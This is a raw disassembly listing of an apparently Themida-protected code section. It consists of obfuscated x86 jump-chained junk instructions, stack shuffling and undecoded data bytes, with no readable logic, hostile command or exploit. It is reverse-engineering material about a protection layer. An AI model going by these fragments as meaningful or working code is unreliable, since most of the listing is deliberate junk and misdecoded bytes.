loc_50FBB8: ; CODE XREF: Themida_:0051004Fj sub edi, ecx sub edi, 739E26D9h jmp loc_507C4F ; --------------------------------------------------------------------------- db 1, 0F1h, 5Eh dd 176FE9h, 8BC88900h, 0C481240Ch, 4, 7C69E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FBDE: ; CODE XREF: Themida_:005171A2j mov eax, [esp] add esp, 4 sub ecx, 3C0D3F20h add ecx, esi add ecx, 3C0D3F20h jmp loc_50EB01 ; --------------------------------------------------------------------------- loc_50FBFA: ; CODE XREF: Themida_:0050BF30j add esi, edx pop edx push ecx push esi push edi mov edi, 39F4227Dh inc edi jmp loc_507F3D ; --------------------------------------------------------------------------- aCfxscq db '´]',8,'æfXé—Q',0 align 2 dw 8951h dd 4C181E1h, 0E9000000h, 0FFFF5511h ; --------------------------------------------------------------------------- loc_50FC24: ; CODE XREF: Themida_:0050B458j mov edx, 0 push ebp jmp loc_50CFC0 ; --------------------------------------------------------------------------- a3LRsr db '3,$‹$$Ré',0Ah,0 dw 3300h dd 3C31243Ch, 243C3324h, 48B665Ch, 59545124h, 0BBD9E955h dd 75B6FFFFh, 0F601EE80h, 53EE80D6h, 9AEB80h, 9AC380F3h dd 0AAC3805Ah, 0EB80EB28h, 6CB450AAh, 3AB75366h, 0FFB30AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50FC79: ; CODE XREF: Themida_:00512C8Cj and ebp, 71613CAEh jmp loc_50CC41 ; --------------------------------------------------------------------------- dd 0C181F901h, 416F2AA7h, 0FFEA34E9h, 0E9E801FFh, 5719h dd 4C281h, 0FF520000h, 8B042474h, 0C4832414h, 24048F04h dd 9A3E9h, 59A56800h, 48B6163h, 4C48324h, 740E9h, 2E05E900h dd 5166FFFFh, 0EE28B5B5h, 240C8B66h, 3002C483h, 74E95AF0h dd 81FFFFC5h, 342E59E9h, 81D90116h, 342E59C1h, 0E8E95B16h dd 68FFFFEBh, 7667h, 0E9240C89h, 0FFFFE6BAh, 5C24048Fh dd 2424D366h, 2DC1E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FD0A: ; CODE XREF: Themida_:00514BE3j add esi, 4 jmp loc_513FAE ; --------------------------------------------------------------------------- loc_50FD15: ; CODE XREF: Themida_:00517775j mov ecx, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_512964 ; --------------------------------------------------------------------------- dd offset dword_4E814C+71Ch align 2 dw 1C89h dd 0A8E924h, 8FB10000h, 0D9F6C9FEh, 80B8F180h, 0F1803BE1h dd 59C828D6h, 0FFB806E9h, 3E3C0FFh, 88D3EB80h, 4582E9DCh dd 0B866FFFFh, 2D660463h, 2D664640h, 0E8E92541h, 0D1FFFF87h dd 7DE953EFh, 87FFFF76h, 0E95C2414h, 0FFFF49CFh ; --------------------------------------------------------------------------- loc_50FD78: ; CODE XREF: Themida_:00517E03j pop dword ptr [esp] xor ecx, edi xor edi, ecx xor ecx, edi jmp loc_517274 ; --------------------------------------------------------------------------- dw 7F83h dd 840F0020h, 5E3Dh, 4EC81h, 1C890000h, 9ABE5624h, 89376762h dd 24348BF3h, 4C481h, 0DE010000h, 5B2434FFh, 0A6CE9h db 0 ; --------------------------------------------------------------------------- loc_50FDB5: ; CODE XREF: Themida_:0050C8E5j dec ebx xor ebx, 5D6B7460h add eax, ebx pop ebx jmp loc_515869 ; --------------------------------------------------------------------------- loc_50FDC4: ; CODE XREF: Themida_:0050948Ej sub edx, edi pop edi add edx, 44F2634Ah jmp loc_5164D5 ; --------------------------------------------------------------------------- dw 5066h dd 2CF1E99Ch, 5B54FFFFh, 0FF7EDAE9h, 6EF581FFh, 2991CEB4h dd 242C8BE9h, 5604C483h, 495CE9h db 0 ; --------------------------------------------------------------------------- loc_50FDF5: ; CODE XREF: Themida_:005169E6j sub ebp, 9FE73DAh jmp loc_5078E0 ; --------------------------------------------------------------------------- loc_50FE00: ; CODE XREF: Themida_:0050D09Dj push eax mov eax, 0 add eax, edx xor dword ptr [eax], 3ED08120h pop eax pop edx pop eax push ebx mov ebx, esp add ebx, 4 jmp loc_5043AD ; --------------------------------------------------------------------------- db 81h dd 0B57EA3F7h, 81DFF76Ah, 56212AE7h, 80C7813Dh, 0E914655Eh dd 4F18h, 4C681h, 34870000h, 0B8505C24h, 3DD0435Bh, 0E958C121h dd 0FFFF9049h, 0E904EC83h, 0FFFF9D9Ah, 31240C33h, 0AAE9240Ch dd 88000015h, 4CE951C5h, 30000027h, 58E9240Ch db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FE73: ; CODE XREF: Themida_:005060DEj pop esp mov [esp], ebx push 6715h mov [esp], ecx jmp loc_513609 ; --------------------------------------------------------------------------- dd 3FF6E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FE8A: ; CODE XREF: Themida_:00503F29j push edi mov edi, esp push 34DBh mov [esp], ecx mov ecx, 7BC22DC3h inc ecx add ecx, 4FF93AF9h and ecx, 2740464Ah shl ecx, 4 add ecx, 508642F2h sub ecx, 808A436Eh add edi, ecx jmp loc_50D277 ; --------------------------------------------------------------------------- db 59h, 0F6h, 0D0h dd 0D6E9D8F6h, 52FFFF85h, 5F60F068h, 0F2815A5Dh, 0AF2FE7CDh dd 4E58E9h db 0 ; --------------------------------------------------------------------------- loc_50FED9: ; CODE XREF: Themida_:00511337j sub ebx, 14A72A2Ah pop edi add ebx, 9192F541h push ebx pop ecx pop ebx push ebx jmp loc_504A12 ; --------------------------------------------------------------------------- db 81h dd 2930D7C3h, 0BAC3817Bh, 4B1BD811h, 0D4B85043h, 0E951F067h dd 0FFFF4EA6h, 8103E3C1h, 8F4352C3h, 0E9DF3101h, 1010h dd 0BD242C89h, 663356C5h, 0F75DE809h, 3582E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FF2A: ; CODE XREF: Themida_:00506409j pop esi sub [esp+4], eax add dword ptr [esp+4], 3BA457CAh push edx mov edx, 6FA04638h push 2373h jmp loc_5099BE ; --------------------------------------------------------------------------- db 81h dd 66120BE9h, 0ACE98165h, 893DFCCEh, 2434FFCEh, 0FF70AEE9h dd 4C781FFh, 0E9000000h, 4E8h, 0E781D7F7h, 5B632C2Ch, 0E9BE564Fh dd 0C1738130h, 0EE8104E6h, 0B8B8B00Bh, 815EF721h, 2FA6A7EFh dd 0A7C38112h, 13E562Ch, 0A7EB81FBh, 0E93E562Ch, 0FFFF8D6Eh ; --------------------------------------------------------------------------- loc_50FF9C: ; CODE XREF: Themida_:0050F1A7j add ebp, 0AC129B47h add edi, ebp pop ebp add edi, 4 jmp loc_507F6A ; --------------------------------------------------------------------------- loc_50FFAD: ; CODE XREF: Themida_:005063A5j add ebx, edi pop edi jmp loc_514FBA ; --------------------------------------------------------------------------- loc_50FFB5: ; CODE XREF: Themida_:00510EEAj xor bl, 9Ch add al, bl mov ebx, [esp] add esp, 4 add al, bl push 7715h mov [esp], ebx jmp loc_508663 ; --------------------------------------------------------------------------- loc_50FFD2: ; CODE XREF: Themida_:00508764j sub esi, 0B534A81h pop ebx shl esi, 2 or esi, 282222CFh sub esi, 7DFE66CBh jmp loc_513A4F ; --------------------------------------------------------------------------- db 56h, 0FFh, 74h dd 8F5E0424h, 895C2404h, 17E9243Ch, 5600007Ch, 0C93AC4BEh dd 0E9505647h, 0FFFFBB1Bh, 0B6EB815Fh, 0E93F7538h, 0FFFF7811h ; --------------------------------------------------------------------------- loc_510018: ; CODE XREF: Themida_:0050534Dj add dword ptr [esp], 4 pop ebx add ebx, 4 jmp loc_50DF84 ; --------------------------------------------------------------------------- dd 24148B66h, 3061E957h db 2 dup(0) word_510032 dw 77FFh ; DATA XREF: Themida_:00502974o dd 6852501Ch, 18A4171Eh, 8324148Bh, 0DAF704C4h, 0FF73D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_510049: ; CODE XREF: Themida_:0050E4D3j add edi, 739E26D9h jmp loc_50FBB8 ; --------------------------------------------------------------------------- dd 0D257C168h, 0E7C15F0Bh, 0F7814F02h, 49F641F0h, 0DAEDEF81h dd 0FD896324h, 0DEED815Fh, 8179BD15h, 0AD5708EDh, 0E9DDF75Fh dd 0FFFFDEE2h ; --------------------------------------------------------------------------- loc_510080: ; CODE XREF: Themida_:00514BF0j mov edi, ebx pop ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi add dword ptr [esp], 7C752474h pop ecx sub ecx, 7C752474h jmp loc_50BD14 ; --------------------------------------------------------------------------- loc_5100A9: ; CODE XREF: Themida_:005174FDj add ecx, 4 xchg ecx, [esp] pop esp xchg eax, [esp] pop esp jmp loc_50D98D ; --------------------------------------------------------------------------- loc_5100BC: ; CODE XREF: Themida_:0050E0AAj mov ecx, ebp pop ebp push 6902h mov [esp], esi mov esi, ecx jmp loc_510A7C ; --------------------------------------------------------------------------- dw 0DDF7h aVs_0 db 'Véš\',0 align 2 loc_5100D6: ; CODE XREF: Themida_:00508138j add ecx, 4 push eax jmp loc_5073D1 ; --------------------------------------------------------------------------- dw 0E381h dd 68096AC7h, 6A7FEB81h, 0D9012801h, 4B8505Bh, 29000000h dd 24048BC1h, 81E78957h, 4C7h, 4EC8300h, 0BA241489h, 6D5C4ADBh dd 1AEDE9h db 0 ; --------------------------------------------------------------------------- loc_510115: ; CODE XREF: Themida_:0051744Bj mov edx, 73984571h mov esi, edx jmp loc_502D02 ; --------------------------------------------------------------------------- db 1, 0CAh, 59h dd 1ADBB53h, 0E9524A84h, 18E7h, 0F32DA7BAh, 81D2F735h dd 0D28140EAh, 5AD72173h, 0BB53DFF7h, 7944652Bh, 49EAE381h dd 0EB816534h, 0E431675h, 42E9DF31h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51015B: ; CODE XREF: Themida_:0050D9B1j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_507D0A ; --------------------------------------------------------------------------- dd 243C8B5Dh, 8104C483h, 6E7962EAh, 632B687Ch, 2C890000h dd 7666BD24h, 0BB5354C6h, 284CB1D0h, 50D5E9h, 24248B00h dd 0B5240C89h, 3E5C0A9h, 0C580EDD0h, 52536640h, 8BE9FFB6h dd 0C1FFFFD9h, 78E907E2h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5101B3: ; CODE XREF: Themida_:0050E859j pop ebx and eax, edi mov edi, [esp] push edx mov edx, esp add edx, 4 push esi mov esi, 4 add edx, esi mov esi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp shr eax, 8 xor eax, ecx xor eax, edi jmp loc_50A887 ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 0E9E38953h, 0FFFFA85Dh, 14C2815Ah, 5B086637h dd 815AD301h, 1EBh, 47506800h, 2C890000h, 7E8ABD24h, 0C3810D4Dh dd 687B65EFh, 686CE9h db 0 ; --------------------------------------------------------------------------- loc_51021D: ; CODE XREF: Themida_:005149E2j add esi, 4 push ebx push ecx jmp loc_510C23 ; --------------------------------------------------------------------------- dw 5DBDh dd 29099B27h, 0F1815DE9h, 839D31A1h, 0FFB0E8E9h, 240489FFh dd 0FFF568E9h, 0B85055FFh, 4, 3EE9C589h, 0E9000047h, 0FFFF2873h dd 4EC815Bh, 0E9000000h, 60Eh ; --------------------------------------------------------------------------- loc_510264: ; CODE XREF: Themida_:00513DBFj push 771Bh jmp loc_5136E4 ; --------------------------------------------------------------------------- dw 5954h dd 4C181h, 0BD550000h, 4, 0FF91E0E9h, 2CF381FFh, 29523E1Ah dd 0D1F75BD9h, 0BC50C181h, 5D516844h, 0BEB0E959h, 8756FFFFh dd 0F791240Ch, 0C8791D0h, 0CE815E24h, 5C8C407Bh, 0FF6CF4E9h dd 83AB9FFh, 0E1814F8Bh, 30CF35C1h, 240CFF51h, 0E92414F7h dd 0FFFF5F2Dh ; --------------------------------------------------------------------------- loc_5102C8: ; CODE XREF: Themida_:005063E0j mov [esp], esi xor dword ptr [esp], 386D1D2Fh jmp loc_50942C ; --------------------------------------------------------------------------- loc_5102D7: ; CODE XREF: Themida_:005145F2j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 jmp loc_5168D5 ; --------------------------------------------------------------------------- loc_5102EF: ; CODE XREF: Themida_:0050A5EDj inc ecx sub ecx, 0DF47F14h not ecx sub ecx, 71EE134Fh push ecx jmp loc_503076 ; --------------------------------------------------------------------------- loc_510304: ; CODE XREF: Themida_:0050AA1Bj or edx, 7920FB4h push esi mov esi, 0DFFEEFB4h xor edx, esi pop esi add edx, eax mov ecx, [edx] pop edx pop eax push ebx sub esp, 4 mov [esp], eax push ebp push 7EB3735Bh pop ebp sub esp, 4 mov [esp], esi push 3D05048Ch mov esi, [esp] add esp, 4 xor esi, 154837DDh add esi, 56664006h sub ebp, esi pop esi push ebp jmp loc_512923 ; --------------------------------------------------------------------------- loc_510350: ; CODE XREF: Themida_:00509A11j push eax mov eax, 5CCC6B89h xor eax, 4A77402Eh sub esp, 4 jmp loc_50CF4C ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 0E9000000h, 0FFFF5C3Eh, 51E28952h, 0FF6CD7E9h dd 0E8C15CFFh, 0A2BB5307h, 0E9089661h, 0FFFF7A4Bh ; --------------------------------------------------------------------------- loc_510388: ; CODE XREF: Themida_:005047FAj mov [esp], ecx push esp pop ecx push ebp push 18D51CDCh pop ebp jmp loc_50E645 ; --------------------------------------------------------------------------- db 81h, 0E3h, 1Ch dd 0E90BC019h, 0FFFFDE5Ch, 6868E189h, 8900003Ch, 1ABF243Ch dd 0C1478476h, 586802EFh, 89000051h, 0BB532434h, 4C5149F3h dd 457419BEh, 5BDE2951h, 0E30C681h, 0BF570F16h, 4BCA024Dh dd 0D9C3C781h, 0FE010752h, 0D3B4E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5103E6: ; CODE XREF: Themida_:0051450Dj shl eax, 2 push ebx mov ebx, 46F9408Bh and eax, ebx pop ebx or eax, 28A011CBh shr eax, 2 not eax jmp loc_506366 ; --------------------------------------------------------------------------- db 0Dh, 82h, 76h dd 8D355E51h, 0F7204F08h, 6D0F2DD0h, 0C5895344h, 0E7F58158h dd 156A467h, 58E95DEBh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510423: ; CODE XREF: Themida_:00504A1Bj not dword ptr [esp] pop ecx jmp loc_508B29 ; --------------------------------------------------------------------------- dd 54243C89h, 4BD555Fh, 0E9000000h, 0FFFFC97Eh, 335E68h dd 89E95400h, 2900005Ah, 0E99C2404h, 0FFFF267Bh, 3A9968h dd 240C8900h, 4B9h, 59CF0100h, 5C243C87h, 0E902C283h, 0FFFFF1B2h dd 4247401h, 240C8B5Eh, 6F7168h, 242C8900h, 0BF57E589h dd 4, 815FFD01h, 4C5h, 242C3300h, 33242C31h, 815C242Ch dd 4C1h, 4C18300h, 0FF679FE9h, 6480BBFFh, 0EE684F75h, 89000015h dd 0E953243Ch, 0FFFF4E28h, 2B4695BAh, 1DE2810Ah, 814BB948h dd 8B0F8EE2h, 0D2F74A02h, 567CCA81h, 0F281638Eh, 1D32683h dd 1FACF281h, 0D08964D5h, 58C2015Ah, 565AD701h, 32E9E689h dd 58FFFFBCh, 0E92434FFh, 0FFFFD5C3h, 348BF501h, 4C48324h dd 7E9E829h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510507: ; CODE XREF: Themida_:0050D4BDj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub ecx, 2D1372EEh sub ecx, 6B8E7F86h jmp loc_5096DD ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 24248B24h, 0E904EC83h, 0FFFF8870h ; --------------------------------------------------------------------------- loc_51053C: ; CODE XREF: Themida_:0050AC06j add esp, 4 push 3973h mov [esp], eax jmp loc_507155 ; --------------------------------------------------------------------------- loc_51054F: ; CODE XREF: Themida_:0050A2B6j push edi mov edi, 4 jmp loc_509773 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 5C240C87h, 0FFB395E9h, 0FBBF57FFh, 81213D5Eh, 0ECFA90EFh dd 4D49E9A7h, 0E6C00000h, 2BC68002h, 0FF81CCE9h db 0FFh byte_510585 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00502A20o dd 0FFE746E9h db 0FFh ; --------------------------------------------------------------------------- loc_51058D: ; CODE XREF: Themida_:005045E0j push ecx push eax mov eax, 77D9579Ch mov ecx, 77D957A0h jmp loc_50DC76 ; --------------------------------------------------------------------------- dw 815Eh dd 4ECh, 240C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_5052B5 ; --------------------------------------------------------------------------- byte_5105BF db 0ADh ; DATA XREF: Themida_:0050298Co dd 9B22B62Dh, 5A9A2D32h, 0BD2D1479h, 0E9242206h, 0FFFF6414h dd 0B461E95Ch, 5457FFFFh, 5CEFE9h, 0B5E95700h, 0F7FFFF6Ah dd 0D1F381DBh, 5397FFDFh, 6C242C81h, 5D32F849h, 496CC581h dd 895B32F8h, 0B82EE9EEh, 0F289FFFFh, 0CDBB535Eh, 0E95A342Dh dd 0FFFF5006h, 126CEB81h, 0CB292C4Dh, 126CC381h, 29592C4Dh dd 0B0E95BDAh db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51062B: ; CODE XREF: Themida_:005060F3j mov [esp], ebp jmp loc_506022 ; --------------------------------------------------------------------------- db 0F7h dd 1BA52D8h, 29000000h, 7BE95AD0h, 68FFFFE0h, 36617AE5h dd 4EC8358h, 0E9243489h, 0FFFF30C7h, 9CC83B5Ch, 0FF246EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51065D: ; CODE XREF: Themida_:0050EF63j push ebx mov ebx, 72627B98h or edx, ebx mov ebx, [esp] add esp, 4 shr edx, 4 sub edx, 5A1871CBh dec edx add edx, 578129EAh xor edx, 4D7601Fh add ebp, 36E3297Ah add ebp, edx jmp loc_514D5A ; --------------------------------------------------------------------------- loc_51068E: ; CODE XREF: Themida_:0051627Fj and ecx, 35C427BFh xor ecx, 12A76894h sub esp, 4 jmp loc_50A9F5 ; --------------------------------------------------------------------------- dw 487h dd 2C895C24h, 81E58924h, 4C5h, 60B8E900h, 2C890000h, 959BD24h dd 0EB295485h, 3F9B685Dh, 1DE90000h, 81000071h, 4ECh, 24248900h dd 4BF57h, 65E90000h, 0F700006Eh, 841FE9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5106E6: ; CODE XREF: Themida_:00516BE0j xchg ah, [esp] dec ah xchg ah, [esp] jmp loc_51115E ; --------------------------------------------------------------------------- db 0B8h dd 668B3F9Fh, 0DF05D0F7h, 0D311B0Dh, 6CB55DF8h, 0DE22D40h dd 81E9388Ah, 81FFFFD6h, 6E2B23EBh, 0F3814B71h, 9678FA7Eh dd 0DFE9D889h, 81000035h, 3C1DEEC3h, 4198E928h, 34FFFFFFh dd 0C4835A24h, 637AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51073A: ; CODE XREF: Themida_:00512D85j push 637Eh mov [esp], eax jmp loc_502ACB ; --------------------------------------------------------------------------- db 52h dd 2BAh, 5AD02900h, 5C240487h, 241C8966h, 269EE9h, 240C3300h dd 0E924248Bh, 2BA0h, 53241489h, 4BBh, 5BDA8900h, 148BD089h dd 4C48124h, 81000000h, 433944EAh, 57C2012Eh, 932475BFh dd 0BA52502Bh, 659D7923h, 0E70984B8h, 0F40FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51079E: ; CODE XREF: Themida_:00514A3Aj mov eax, esp add eax, 4 add eax, 4 jmp loc_50332E ; --------------------------------------------------------------------------- loc_5107AD: ; CODE XREF: Themida_:0050A1F2j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push ecx pop eax jmp loc_50C421 ; --------------------------------------------------------------------------- dw 8853h dd 5BDD88F3h, 0FF3EBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5107D1: ; CODE XREF: Themida_:0050A90Dj add ecx, edi pop edi jmp loc_515FFD ; --------------------------------------------------------------------------- db 89h, 0EFh, 5Dh dd 0F4669BBh, 0FFFB293Bh, 835F2434h, 0D80104C4h, 0E289525Bh dd 0A11CE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5107F6: ; CODE XREF: Themida_:0050F762j add esp, 2 jmp loc_505236 ; --------------------------------------------------------------------------- dw 3487h dd 14895C24h, 81E28924h, 4C2h, 0F6B85000h, 0E9725369h dd 0FFFF90FEh ; --------------------------------------------------------------------------- loc_510818: ; CODE XREF: Themida_:0050BA17j pop ebp add ecx, edi pop edi jmp loc_50F436 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0FD7864C6h, 50C60100h, 0FD7864B8h, 58C62900h dd 4EC81h, 3C890000h, 0E9E78924h, 0FFFF35E6h, 592434FFh dd 4C481h, 0B60F0000h, 148B66C0h, 0D3E95324h, 5EFFFFA3h dd 60B7E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_510866: ; CODE XREF: Themida_:00511169j push eax mov al, 78h add al, 15h mov dl, al jmp loc_506E4A ; --------------------------------------------------------------------------- dw 3489h dd 4BE24h, 0EB810000h, 0FFF021Ch, 76E9F301h, 0C1FFFF88h dd 0ED8105E5h, 0FFFFFFFFh, 0D102EDC1h, 44F581E5h, 0E95BD691h dd 5537h ; --------------------------------------------------------------------------- loc_5108A0: ; CODE XREF: Themida_:0051286Fj not dword ptr [esp] mov ecx, [esp] push 2501h mov [esp], edi push esp pop edi push ecx jmp loc_5168CB ; --------------------------------------------------------------------------- word_5108B6 dw 0C8Bh ; DATA XREF: Themida_:0050290Co dd 0E0895024h, 405h, 4BE5600h, 0E9000000h, 0FFFF48ECh ; --------------------------------------------------------------------------- loc_5108CC: ; CODE XREF: Themida_:00512A45j xchg esi, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax jmp loc_5124D4 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 241C335Ch, 33241C31h, 665C241Ch, 6824048Bh dd 6D42h, 0FFAB14E9h, 240C8BFFh, 8004C483h, 0C32823C3h dd 0E923EB80h, 6C00h ; --------------------------------------------------------------------------- loc_510920: ; CODE XREF: Themida_:00505A7Ej mov ebx, ecx jmp loc_50AF91 ; --------------------------------------------------------------------------- byte_510927 db 0FFh ; DATA XREF: Themida_:00502870o a4Xh2 db '4$XhÓ2',0 align 10h dd 81241489h, 4ECh, 24248900h, 0FF28D4E9h, 308AB9FFh, 0E9C147C0h dd 51E18107h, 0C1270713h, 0E98105E9h, 90E5DCFAh, 0E959CE31h dd 0FFFFE3D3h, 4EE81h, 0E9560000h, 2FF5h ; --------------------------------------------------------------------------- loc_51096C: ; CODE XREF: Themida_:00509FDCj sub eax, 53BCBA44h jmp loc_503110 ; --------------------------------------------------------------------------- loc_510976: ; CODE XREF: Themida_:0050814Ej mov cl, bl push dword ptr [esp] push dword ptr [esp] jmp loc_516036 ; --------------------------------------------------------------------------- db 0BDh dd 7B1C0420h, 0FFCBF7E9h, 1E55BEFFh, 0ADE9264Dh db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510997: ; CODE XREF: Themida_:005115C9j pop edx jmp loc_50D803 ; --------------------------------------------------------------------------- db 83h, 0C0h, 1 dd 7133D52Dh, 58C2296Fh, 0FF7B0AE9h, 2434FFFFh, 0FF99ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5109B5: ; CODE XREF: Themida_:0050A965j push 709Ch jmp loc_50466F ; --------------------------------------------------------------------------- loc_5109BF: ; CODE XREF: Themida_:0050CFC6j sub esi, 6863D69h jmp loc_5115FF ; --------------------------------------------------------------------------- loc_5109CA: ; CODE XREF: Themida_:0050E6B9j mov edx, 231E6352h add ebx, edx jmp loc_516AC1 ; --------------------------------------------------------------------------- dw 1487h dd 4D25C24h, 0FCE99C24h, 66FFFFCBh, 0E9241489h, 0FFFFF3E6h dd 0F6CD7DB8h, 416FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5109F6: ; CODE XREF: Themida_:00515F73j mov ecx, esp jmp loc_50E3DE ; --------------------------------------------------------------------------- db 1, 0E8h, 5Dh dd 0F72DE801h, 5D4F9358h, 57E568h, 24148900h, 7F306857h dd 3C8B692Ch, 7BF1E924h, 0D7F7FFFFh, 4DE368h, 241C8900h dd 1915BE56h, 0ECBB0938h, 1F6C7E6h, 0C7815EF3h, 4F41130Ch dd 0EF81DF29h, 4F41130Ch, 81241C8Bh, 4C4h, 1EF8100h, 0E9000000h dd 0FFFFF30Fh ; --------------------------------------------------------------------------- loc_510A58: ; CODE XREF: Themida_:00511B61j pop dword ptr [esp] jmp loc_5039BC ; --------------------------------------------------------------------------- dd 5C240C87h, 0FF2062E9h db 0FFh ; --------------------------------------------------------------------------- loc_510A69: ; CODE XREF: Themida_:005030B3j pop ebx push esi jmp loc_516D07 ; --------------------------------------------------------------------------- loc_510A70: ; CODE XREF: Themida_:00514BB6j add dword ptr [esp], 4184027Ah jmp loc_505DB8 ; --------------------------------------------------------------------------- loc_510A7C: ; CODE XREF: Themida_:005100C9j push esi pop edx pop esi push dword ptr [esp] pop ecx add esp, 4 dec edx push eax mov eax, 43954939h neg eax shr eax, 7 inc eax add eax, 1647DFDFh sub edx, eax pop eax push ecx mov ecx, 485D2362h jmp loc_50F270 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6E17E9h, 68E18900h, 0C2Ah, 0E9243C89h, 0FFFF5DDDh ; --------------------------------------------------------------------------- loc_510AC0: ; CODE XREF: Themida_:0050A0C3j pop esp sub edi, 204713FFh sub esp, 4 mov [esp], ebx mov ebx, 120B0FB3h or ebx, 1C0B505Bh jmp loc_502E9A ; --------------------------------------------------------------------------- dd 4EE9D831h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510AE7: ; CODE XREF: Themida_:0050A81Dj mov esi, esp jmp loc_504A6B ; --------------------------------------------------------------------------- dw 0C801h dd 24043359h, 0FF521FE9h db 0FFh ; --------------------------------------------------------------------------- loc_510AF9: ; CODE XREF: Themida_:0050E7B5j shl edx, 1 push dword ptr [edi+24h] jmp loc_5032D0 ; --------------------------------------------------------------------------- db 0BDh dd 416821E3h, 2F97EB81h, 0EB297463h, 2F97C381h, 0F75D7463h dd 59B5E9DBh, 0FF51FFFFh, 0E9042474h, 0FFFF78EAh, 31243C33h dd 3C33243Ch, 5A75E924h, 89560000h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 0D6E4805Ch, 0D4F6CCFEh, 0C046C480h dd 0F48006ECh, 0B2EB80A9h, 0C380E328h, 24048BB2h, 0E904C483h dd 0FFFF7D5Fh, 1F4B80BFh, 81DFF777h, 0E65095C7h, 0F3F78156h dd 8116246Ch, 3806C0F7h, 2CEF813Ch, 29D11F58h, 0D89CE9FDh dd 248BFFFFh, 2404D324h, 1F2DE99Ch, 489FFFFh, 508FE924h dd 0C481FFFFh, 4, 0B54DE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510BB2: ; CODE XREF: Themida_:00513FDDj mov ebx, 2E6D0922h neg ebx jmp loc_50C8CB ; --------------------------------------------------------------------------- dw 0C689h dd 0F2215B58h, 0FFC2835Eh, 8105E2C1h, 9375E4C2h, 0CEC6818Ch dd 8151EA2Fh, 0FB5C05C6h, 0C7C5E952h, 0C083FFFFh, 24048704h dd 81C3305Ch, 4ECh, 24148900h, 5C6C68h, 240C8900h, 0FFF262E9h db 0FFh ; --------------------------------------------------------------------------- loc_510C01: ; CODE XREF: Themida_:00510DB2j pop esp mov [esp], edx push edx jmp loc_5145DD ; --------------------------------------------------------------------------- db 81h dd 5F78C2EAh, 0E9D509D5h, 0FFFFC04Ah, 6344685Ch, 42E90000h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_510C23: ; CODE XREF: Themida_:00510225j sub esp, 4 mov [esp], esi push 1F094946h mov esi, [esp] add esp, 4 sub esi, 0ACF70BE1h mov ecx, esi mov esi, [esp] push ebx jmp loc_50A6C4 ; --------------------------------------------------------------------------- db 0BBh dd 4, 4A6E68h, 241C8900h, 2F6F5BBBh, 83D3F761h, 0BF57FFC3h dd 0 dd 565EEF81h, 0DF291FD2h, 565EBE56h, 0F7011FD2h, 31FB315Eh dd 5FFB31DFh, 0FF9B07E9h db 0FFh byte_510C85 db 0ADh, 68h, 82h ; DATA XREF: Themida_:00502984o dd 89000010h, 3468241Ch, 0E95A3E0Fh, 0FFFFFD15h dword_510C98 dd 24048B66h, 5DB7E953h, 0F2010000h, 0E9D0095Eh, 0FFFF7081h ; DATA XREF: Themida_:0050281Co dd 12A68h, 240C8900h, 4EC81h, 3C890000h, 25D6824h, 505F48CEh dd 797D3468h, 0C709582Ah, 23C78158h, 570D4CA2h, 68535F59h dd 4BA740ACh, 70CB815Bh, 813E0213h, 0C2FACBC3h, 5BD901B7h dd 0C181D9F7h, 53CC94D3h, 8359CF29h, 48904ECh, 579AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_510D02: ; CODE XREF: Themida_:005093CEj add eax, 4 jmp loc_511A53 ; --------------------------------------------------------------------------- dw 0EA81h dd 8EFBCF28h, 0E95AD601h, 0FFFF24AAh, 0EE6AE72Dh, 387F057Ch dd 360D227Ch, 2D0B3704h, 82A2FD0Ah, 5758C731h, 0A5242C81h dd 0E9532565h, 0FFFF3E34h, 5C5CB850h, 6E902CEh, 0C1FFFFE4h dd 0E98106E1h, 4B6F009Dh, 0FFF1F2E9h db 0FFh ; 